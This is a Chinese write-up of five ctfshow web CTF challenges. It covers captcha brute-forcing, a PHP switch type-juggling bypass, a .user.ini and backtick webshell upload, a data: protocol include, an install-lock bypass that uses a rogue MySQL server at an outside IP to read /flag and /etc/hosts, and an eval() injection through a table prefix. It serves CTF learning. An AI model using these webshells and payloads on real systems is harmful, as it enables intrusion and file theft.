web
1 baby_captcha
首先进入界面,可以知道账号是admin,点击“无脑”进入github链接,里面放了一些弱密码。
点击登录进入登录界面,发现验证码是音频文件,所以我们需要绕过验证码。填入信息后抓包。
这里我们发现验证码应该是无条件不刷新。
无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。换句话说,攻击者可以在同一个会话下,在获得第一个验证码后,后面不再主动触发验证码生成页面,并且一直使用第一个验证码就可循环进行后面的表单操作,从而绕过了验证码的屏障作用,对登录进行暴力猜解。
那么我们可以对其进行爆破。
成功,登录即可得到flag。
2 baby_php
ww开始做这道题不知如何绕过switch语句,后来看了wp才知道,也学到了不少姿势。
首先上源码
<?php
error_reporting(0);
class fileUtil{
private $name;
private $content;
public function __construct($name,$content=''){
$this->name = $name;
$this->content = $content;
ini_set('open_basedir', '/var/www/html');
}
public function file_upload(){
if($this->waf($this->name) && $this->waf($this->content)){
return file_put_contents($this->name, $this->content);
}else{
return 0;
}
}
private function waf($input){
return !preg_match('/php/i', $input);
}
public function file_download(){
if(file_exists($this->name)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$this->name.'"');
header('Content-Transfer-Encoding: binary');
echo file_get_contents($this->name);
}else{
return False;
}
}
public function __destruct(){
}
}
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('Permission denied');
}
switch ($action) {
case 'upload':
$name = $_POST['name'];
$content = $_POST['content'];
$ft = new fileUtil($name,$content);
if($ft->file_upload()){
echo $name.' upload success!';
}
break;
case 'download':
$name = $_POST['name'];
$ft = new fileUtil($name,$content);
if($ft->file_download()===False){
echo $name.' download failed';
}
break;
default:
echo 'baby come on';
break;
}
审计一下代码,不难发现关键点为
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('Permission denied');
}
我们需要绕过这个部分才能进入下面switch语句中
这⾥的三元运算,犯了⼀个不明显的错误。这⾥直接⽤了highlight_file的返回值作为$_GET[‘a’] 的初始值
本地测试此函数的返回值:
var_dump(highlight_file(__FILE__));
得到类型为:bool(true)
如果对$_GET[‘a’]不进⾏赋值,则默认值为true
然后进⼊switch的弱类型判单,会得到:
var_dump(true=='upload');
漏洞利用成功,进⼊了upload的分⽀,可以上传任意 名称/内容不包含php的⽂件
之后便是正常的文件上传操作。
content=auto_prepend_file="1.txt"&name=.user.ini
content=<?=`$_GET[1]`;?>&name=1.txt
这⾥需要等待默认的⽣效时间,可以参考php配置⽂件: 为5min。
之后成功进行rce了,先1=ls,再cat flag即可。
3 完美的缺点
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html/');
$file_name = substr($_GET['file_name'], 0,16);
$file_content=substr($_GET['file_content'], 0,32);
file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content);
if(file_get_contents('php://input')==='ctfshow'){
include($file_name);
}
ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。
Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,
所有PHP中有关文件读、写的函数都会经过open_basedir的检查。
限制了读写目录,字符长度,file_put_contents
更改了目录
使用data协议
?file_name=data:,<?=`nl *`;
ctfshow
data协议常用数据格式
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据
4 ctfshowcms
index.php
<?php
define("ROOT_PATH",__DIR__);
error_reporting(0);
$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;
include('files/'.$want.".php");
install/index.php
<?php
header('Content-Type:text/html;charset=utf-8');
if(file_exists("installLock.txt")){
echo "你已经安装了ctfshowcms,请勿重复安装。";
exit;
}
echo "欢迎安装ctfshowcms~"."<br>";
$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];
if($user==""){
echo "CMS管理员用户名不能为空!";
exit();
}
if($password==""){
echo "CMS管理员密码不能为空!";
exit();
}
if($dbhost==""){
echo "数据库地址不能为空!";
exit();
}
if($dbuser==""){
echo "数据库用户名不能为空!";
exit();
}
if($dbpwd==""){
echo "数据库密码不能为空!";
exit();
}
if($dbname==""){
echo "数据库名不能为空!";
exit();
}
// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd ) or die("数据库连接失败");
// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );
if(file_exists("ctfshow.sql")){
echo "正在写入数据库!";
}else{
die("sql文件不存在");
}
$content = "<?php
\$DB_HOST='".$dbhost."';
\$DB_USER='".$dbuser."';
\$DB_PWD='".$dbpwd."';
\$DB_NAME='".$dbname."';
?>
";
file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";
$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
if($of){
fwrite($of,"ctfshowcms");
}
echo "安装成功!";
在index.php
里存在一个文件包含,install/index.php
开头有一个安装锁的检测,但这里使用的是相对路径,利用上面的文件包含,则可以利用路径的问题绕过安装锁的检测,进行二次安装。
恶意脚本:https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
需要修改脚本的结尾行
if __name__ == '__main__':
for name, content in rouge_mysql_sever_read_file(fileName=["/flag", "/etc/hosts"], port=3307,showInfo=True).items():
print(name + ":\n" + content.decode())
在vps运行脚本,网页执行如下操作即可
http://www.xxxx.com?feng=../install/index
user=1&password=1&dbhost=1.117.171.248:3307&dbuser=1&dbpwd=1&dbname=1
5 应该不难
任意文件删除配合install过程getshell
安装时将数据表前缀改为:x');@eval($_POST[1]);('
安装后
http://xxxxx/config/config_ucenter.php
1=system("cat /flag");
参考链接:
https://blog.csdn.net/weixin_39190897/article/details/86539542
http://www.yongsheng.site/2021/06/05/ctfshow%20baby%E6%9D%AF/